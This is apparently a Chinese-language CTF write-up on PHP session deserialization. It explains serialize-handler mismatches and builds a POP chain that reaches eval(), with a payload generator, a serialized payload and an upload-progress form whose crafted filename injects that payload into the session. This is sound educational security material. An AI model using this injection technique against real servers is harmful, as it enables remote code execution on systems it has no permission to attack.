Session…

Session反序列化漏洞

关于session的配置项在php.ini中存在四处

1
2
3
4
session.save_path = "" 设置session存储路径
session.save_handler = "" 设定余户自定义存储函数
session.auto_start boolen 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string 定义序列化/反序列化的处理器名字,默认是php

关于sesion_serialize_handler
session.serialize_handler 定义用来序列化/解序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。 自 PHP 5.5.4 起可以使用 php_serialize。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。 使用 php_serialize 避免脚本退出时,数字及特殊字符索引导致出错。 默认使用 php。

三种序列化处理器

1
2
3
php_binary: 存储格式-> 键名长度对应的ASCII字符+键名+经过serialize()序列化过的值
php: 存储格式-> 键名+竖线+经过serialize()序列化过的值
php_serialize(php>5.5.4): 存储格式-> 经过serialize()序列化过的值

$_SESSION['test] = 'idlefire'对应结果如下



漏洞成因

PHP在存取$_SESSION时,使用的的引擎不同.

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['test'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

执行完上文代码会在session文件中写入序列化的值.


1
2
3
4
5
6
7
8
9
<?php
session_start();
class A {
public $a = 'aa';
function __wakeup() {
echo $this->a;
}
}
var_dump($_SESSION);

执行之后会打印xx

原因:序列化session时使用的是php_serialize,而反序列化的时候采用的是php.php引擎会以|作为分隔符,分为key和value.那么a:1:{s:5:"test2";s:30:"作为键名,O:1:"A":1:{s:1:"a";s:2:"xx";}作为键值被反序列化之后变成了A类并且执行了__weakup方法.(利用点就在于默认使用php引擎获取session).

借助安恒的一道CTF题加深印象.
看到部分关键代码.
index.php

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>

我们可以看出这道题的关键就是foo3类中eval函数,其中关于__toString调用是由于file_exits函数判断时会把参数进行字符串转变,并且在index.php中读取session的处理器是php(这里我猜测当时题目的php环境session.serialize_handler默认是php_serialize).
接着就需要构造payload了.
payload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class foo3{
public $varr = 'phpinfo();';
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '123';
$this->obj = new foo3();
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2() ;
}
}
$foo = new foo1();
echo serialize($foo);
?>

生成payload

1
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:3:"123";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}

但是这里并没有可以对session进行赋值的操作,根据phpinfo中给的一个关键信息.


这里的session.upload_gress.enableon,就可以使用Session Upload Progress进行文件上传,从而将session写入.

关于Session Upload Progress的相关配置参数

1
2
3
4
5
6
7
8
session.upload_progress.enabled[=On/Off] : 是否启用上传进度报告(默认开启)
session.upload_progress.cleanup[=On/Off] : 是否在上传完成后及时删除进度数据(默认开启, 推荐开启).
session.upload_progress.prefix[=upload_progress_] : 进度数据将存储在_SESSION[session.upload_progress.prefix . _POST[session.upload_progress.name]]
session.upload_progress.name[=PHP_SESSION_UPLOAD_PROGRESS] : 如果_POST[session.upload_progress.name]没有被设置, 则不会报告进度.
session.upload_progress.freq[=1%] : 更新进度的频率(已经处理的字节数), 也支持百分比表示’%’.
session.upload_progress.min_freq[=1.0] : 更新进度的时间间隔(秒级)

总而言之,如果POST一个名为<?php ini_get('session.upload_progress.name');?>的变量,同时上传文件的话,可以将文件名写入到session中.
session_upload_progress.php

1
2
3
4
5
<form action='index.php' method="post" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name");?>" value="idlefire"/>
<input type="file" name="file"/>
<input type="submit"/>
</form>

抓包之后修改文件名,注意需要转义并且在添加个|.

1
|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:3:\"123\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:10:\"phpinfo();\";}}}

执行之后.

注:在本地配置环境时需要将session.upload_progress.enabled设置为On,把session.upload_progress.cleanup设置为Off

(ง •_•)ง